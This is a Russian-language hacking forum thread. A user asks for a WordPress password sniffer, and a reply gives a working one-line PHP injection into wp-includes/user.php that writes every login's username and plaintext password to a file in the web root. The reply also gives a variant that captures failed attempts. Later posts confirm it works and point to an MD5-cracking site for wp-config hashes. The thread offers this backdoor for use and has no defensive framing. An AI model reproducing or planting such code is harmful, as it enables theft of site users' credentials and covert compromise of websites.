сниффер wp-login.php

Discussion in 'Песочница' started by jakonda1001, 21 Oct 2019.

  1. jakonda1001

    jakonda1001 New Member

    Joined:
    17 Mar 2016
    Messages:
    178
    Likes Received:
    3
    Reputations:
    0
    есть у кого сниффер паролей wordpress , в файл что бы сохранял?
     
  2. ckpunmkug

    ckpunmkug Member

    Joined:
    20 Mar 2017
    Messages:
    72
    Likes Received:
    72
    Reputations:
    10
    В файле wp-includes/user.php находим функцию
    Code:
    function wp_authenticate_username_password( $user, $username, $password )
    И в самом конце функции (строка примерно 187) перед
    Code:
    return $user;
    Вставляем строку
    Code:
    file_put_contents("{$_SERVER['DOCUMENT_ROOT']}/passwords", "{$username}:{$password}\n", FILE_APPEND);
    И снифер готов.
    Если нужно ещё с неудачными логинами то строку разместить после
    Code:
    $user = apply_filters( 'wp_authenuicate_user', $user, $password );
     
    vsyour, winstrool and Nibiru like this.
  3. jakonda1001

    jakonda1001 New Member

    Joined:
    17 Mar 2016
    Messages:
    178
    Likes Received:
    3
    Reputations:
    0
    Спасибо большое
     
  4. Nibiru

    Nibiru New Member

    Joined:
    13 Jun 2019
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Я вставил сразу после
    function wp_authenticate_username_password( $user, $username, $password )

    Сохраняет все попытки.
    Спасибо большое.
    Пор расшифровке wp-config кто-то что-то подскажет?
     
  5. tuckm4n

    tuckm4n New Member

    Joined:
    26 May 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    cmd5 dot ru
     
    #5 tuckm4n, 16 Mar 2020
    Last edited: 22 Mar 2022